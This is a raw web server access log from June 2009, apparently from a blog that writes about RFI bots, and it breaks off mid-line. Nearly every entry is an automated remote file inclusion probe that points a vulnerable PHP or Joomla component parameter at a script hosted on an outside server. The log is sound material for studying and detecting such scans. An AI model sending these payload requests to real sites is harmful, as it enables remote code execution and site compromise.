//errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:29:14 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33628 "-" "libwww-perl/5.76" 82.194.87.219 - - [20/Jun/2009:14:31:33 -0600] "GET //errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 764 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:31:34 -0600] "GET //errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33553 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:33:03 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:33:04 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33554 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:33:47 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:33:48 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33554 "-" "libwww-perl/5.822" 212.91.134.133 - - [20/Jun/2009:14:35:50 -0600] "GET /rfi.txt//errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 526 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:35:50 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:35:51 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33629 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:39:13 -0600] "GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 837 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:39:14 -0600] "GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33860 "-" "libwww-perl/5.76" 211.49.99.7 - - [20/Jun/2009:14:41:37 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 404 560 "-" "Mozilla/5.0" 212.91.134.133 - - [20/Jun/2009:14:47:34 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:47:35 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33629 "-" "libwww-perl/5.76" 208.111.94.201 - - [20/Jun/2009:14:49:18 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.803" 208.111.94.201 - - [20/Jun/2009:14:49:18 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33760 "-" "libwww-perl/5.803" 208.111.94.201 - - [20/Jun/2009:14:53:48 -0600] "GET /rfi.txt//errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 526 "-" "libwww-perl/5.803" 208.111.94.201 - - [20/Jun/2009:14:53:48 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.803" 208.111.94.201 - - [20/Jun/2009:14:53:49 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33697 "-" "libwww-perl/5.803" 212.91.134.133 - - [20/Jun/2009:14:55:19 -0600] "GET /rfi.txt//errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 526 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:55:19 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.76" 212.91.134.133 - - [20/Jun/2009:14:55:20 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33629 "-" "libwww-perl/5.76" 65.98.59.178 - - [20/Jun/2009:15:17:38 -0600] "GET /convert/mvcw.php?vwar_root=http://yongsin.es.kr/sk.txt? HTTP/1.1" 302 766 "-" "libwww-perl/5.811" 65.98.59.178 - - [20/Jun/2009:15:17:39 -0600] "GET /convert/mvcw.php?vwar_root=http://yongsin.es.kr/sk.txt? HTTP/1.1" 404 33614 "-" "libwww-perl/5.811" 208.111.94.201 - - [20/Jun/2009:15:28:47 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.803" 208.111.94.201 - - [20/Jun/2009:15:28:48 -0600] "GET //errors.php?error=http://www.cerao-aceao.org//cerao/images/idste.txt? HTTP/1.1" 404 33697 "-" "libwww-perl/5.803" 203.142.24.241 - - [20/Jun/2009:15:36:17 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://festownz.com/fest/idpriv8.txt?? HTTP/1.1" 302 811 "-" "libwww-perl/5.805" 203.142.24.241 - - [20/Jun/2009:15:36:18 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://festownz.com/fest/idpriv8.txt?? HTTP/1.1" 404 33763 "-" "libwww-perl/5.805" 203.142.24.241 - - [20/Jun/2009:15:40:08 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://festownz.com/fest/idpriv8.txt?? HTTP/1.1" 404 561 "-" "libwww-perl/5.805" 200.144.1.19 - - [20/Jun/2009:15:42:34 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://festownz.com/fest/idpriv8.txt?? HTTP/1.1" 404 561 "-" "libwww-perl/5.810" 200.144.1.19 - - [20/Jun/2009:15:42:34 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://festownz.com/fest/idpriv8.txt?? HTTP/1.1" 302 811 "-" "libwww-perl/5.810" 200.144.1.19 - - [20/Jun/2009:15:42:37 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://festownz.com/fest/idpriv8.txt?? HTTP/1.1" 404 33763 "-" "libwww-perl/5.810" 110.45.144.106 - - [20/Jun/2009:15:43:46 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 561 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:43:46 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 302 811 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:43:47 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 33778 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:45:34 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 561 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:45:34 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 302 811 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:45:34 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 33777 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:45:42 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 561 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:45:42 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 302 811 "-" "Mozilla/5.0" 110.45.144.106 - - [20/Jun/2009:15:45:43 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 33778 "-" "Mozilla/5.0" 65.98.59.178 - - [20/Jun/2009:15:56:40 -0600] "GET /rfi.txt/convert/mvcw.php?vwar_root=http://yongsin.es.kr/sk.txt? HTTP/1.1" 404 512 "-" "libwww-perl/5.811" 65.98.59.178 - - [20/Jun/2009:15:56:40 -0600] "GET /convert/mvcw.php?vwar_root=http://yongsin.es.kr/sk.txt? HTTP/1.1" 302 766 "-" "libwww-perl/5.811" 65.98.59.178 - - [20/Jun/2009:15:56:42 -0600] "GET /convert/mvcw.php?vwar_root=http://yongsin.es.kr/sk.txt? HTTP/1.1" 404 33626 "-" "libwww-perl/5.811" 201.232.54.48 - - [20/Jun/2009:15:59:47 -0600] "GET /rfi.txt//index.php?config=1&base_datapath=http://dwno.or.kr/bbs/zipcode/tes?? HTTP/1.1" 404 530 "-" "Mozilla/5.0" 201.232.54.48 - - [20/Jun/2009:15:59:47 -0600] "GET //index.php?config=1&base_datapath=http://dwno.or.kr/bbs/zipcode/tes?? HTTP/1.1" 302 750 "-" "Mozilla/5.0" 201.232.54.48 - - [20/Jun/2009:15:59:48 -0600] "GET /?config=1&base_datapath=http://dwno.or.kr/bbs/zipcode/tes?? HTTP/1.1" 200 111025 "-" "Mozilla/5.0" 121.165.73.157 - - [20/Jun/2009:16:26:31 -0600] "GET //include/bbs.lib.inc.php?site_path=http://www.neoeffect.co.kr/board//include/yuo.txt? HTTP/1.1" 302 796 "-" "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)" 121.165.73.157 - - [20/Jun/2009:16:26:33 -0600] "GET //include/bbs.lib.inc.php?site_path=http://www.neoeffect.co.kr/board//include/yuo.txt? HTTP/1.1" 404 33692 "-" "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)" 62.212.64.10 - - [20/Jun/2009:18:24:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:33 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 748 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 47026 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:34 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 110964 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:36 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 779 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:36 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 748 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:37 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 36328 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 47026 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:37 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 111277 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:38 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 779 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:39 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 36329 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 302 800 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:41 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 302 746 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:41 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 200 47002 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:42 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 302 777 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:42 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 200 111111 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:24:43 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 200 36311 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:25:54 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 800 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:25:55 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:25:56 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 47026 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:25:58 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 800 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:25:59 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:25:59 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/log.txt???? HTTP/1.1" 200 47027 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:26:03 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 302 798 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:26:04 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 302 800 "-" "libwww-perl/5.63" 62.212.64.10 - - [20/Jun/2009:18:26:05 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/spa.txt?? HTTP/1.1" 200 47003 "-" "libwww-perl/5.63" 200.44.126.182 - - [20/Jun/2009:19:34:56 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 570 "-" "Mozilla/5.0" 200.44.126.182 - - [20/Jun/2009:19:34:56 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 302 824 "-" "Mozilla/5.0" 200.44.126.182 - - [20/Jun/2009:19:34:59 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 33799 "-" "Mozilla/5.0" 74.200.195.130 - - [20/Jun/2009:20:27:21 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 74.200.195.130 - - [20/Jun/2009:20:27:21 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 74.200.195.130 - - [20/Jun/2009:20:27:21 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 34022 "-" "Mozilla/5.0" 66.46.177.182 - - [20/Jun/2009:20:36:21 -0600] "GET /rfi.txt//administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 66.46.177.182 - - [20/Jun/2009:20:36:21 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 66.46.177.182 - - [20/Jun/2009:20:36:22 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 66.46.177.182 - - [20/Jun/2009:20:36:27 -0600] "GET /rfi.txt//administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 66.46.177.182 - - [20/Jun/2009:20:36:27 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 66.46.177.182 - - [20/Jun/2009:20:36:28 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33824 "-" "Mozilla/5.0" 195.34.78.110 - - [20/Jun/2009:20:39:57 -0600] "GET /rfi.txt//administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 578 "-" "Mozilla/5.0" 195.34.78.110 - - [20/Jun/2009:20:39:57 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 302 832 "-" "Mozilla/5.0" 195.34.78.110 - - [20/Jun/2009:20:39:58 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://www.unreals.co.cc/idxx.txt?? HTTP/1.1" 404 33825 "-" "Mozilla/5.0" 84.201.208.50 - - [21/Jun/2009:11:02:37 -0600] "GET /rfi.txt//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 84.201.208.50 - - [21/Jun/2009:11:02:37 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 84.201.208.50 - - [21/Jun/2009:11:02:44 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 200 111161 "-" "Mozilla/5.0" 84.201.208.50 - - [21/Jun/2009:11:03:17 -0600] "GET /rfi.txt//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 84.201.208.50 - - [21/Jun/2009:11:03:17 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 84.201.208.50 - - [21/Jun/2009:11:03:18 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 200 111142 "-" "Mozilla/5.0" 222.122.142.249 - - [21/Jun/2009:11:11:59 -0600] "GET /rfi.txt/errors.php?error=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 516 "-" "Mozilla/5.0" 222.122.142.249 - - [21/Jun/2009:11:11:59 -0600] "GET /errors.php?error=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 770 "-" "Mozilla/5.0" 222.122.142.249 - - [21/Jun/2009:11:12:05 -0600] "GET /errors.php?error=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33593 "-" "Mozilla/5.0" 87.106.179.130 - - [21/Jun/2009:11:15:08 -0600] "GET /2009/06/04//index.php?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:08 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 819 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:08 -0600] "GET //index.php?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 764 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:15 -0600] "GET /?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 110772 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:18 -0600] "GET /2009/06/04//?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:18 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 798 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:26 -0600] "GET //index.php?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 764 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:27 -0600] "GET /2009/06/04/?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 36372 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:30 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47084 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 819 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:36 -0600] "GET /2009/06/04//index.php?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 796 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:33 -0600] "GET /?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 110764 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:42 -0600] "GET //index.php?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 742 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:42 -0600] "GET /2009/06/04//?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 798 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:48 -0600] "GET /2009/06/04/?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 36372 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:49 -0600] "GET /?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 110660 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?seites=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47083 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:15:58 -0600] "GET /2009/06/04//index.php?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:16:00 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 797 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:16:05 -0600] "GET /2009/06/04//?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 753 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:16:06 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 776 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:16:11 -0600] "GET /2009/06/04/?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 36293 "-" "libwww-perl/5.805" 87.106.179.130 - - [21/Jun/2009:11:16:15 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?seites=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 46980 "-" "libwww-perl/5.805" 92.104.83.96 - - [21/Jun/2009:11:23:17 -0600] "GET //index.php?seites=http://65.247.182.200/r??? HTTP/1.1" 302 766 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)" 92.104.83.96 - - [21/Jun/2009:11:23:18 -0600] "GET /?seites=http://65.247.182.200/r??? HTTP/1.1" 200 111081 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)" 83.98.209.71 - - [21/Jun/2009:11:27:52 -0600] "GET /rfi.txt//index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 83.98.209.71 - - [21/Jun/2009:11:27:52 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 302 784 "-" "Mozilla/5.0" 83.98.209.71 - - [21/Jun/2009:11:27:53 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://badmintonblog.net/blog/img/5.jpg?? HTTP/1.1" 200 111129 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:20 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:20 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 782 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:20 -0600] "GET /rfi.txt%20%20/convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 796 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:20 -0600] "GET /rfi.txt%20%20/convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 796 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:21 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33657 "-" "Mozilla/5.0" 89.223.3.98 - - [21/Jun/2009:12:51:21 -0600] "GET 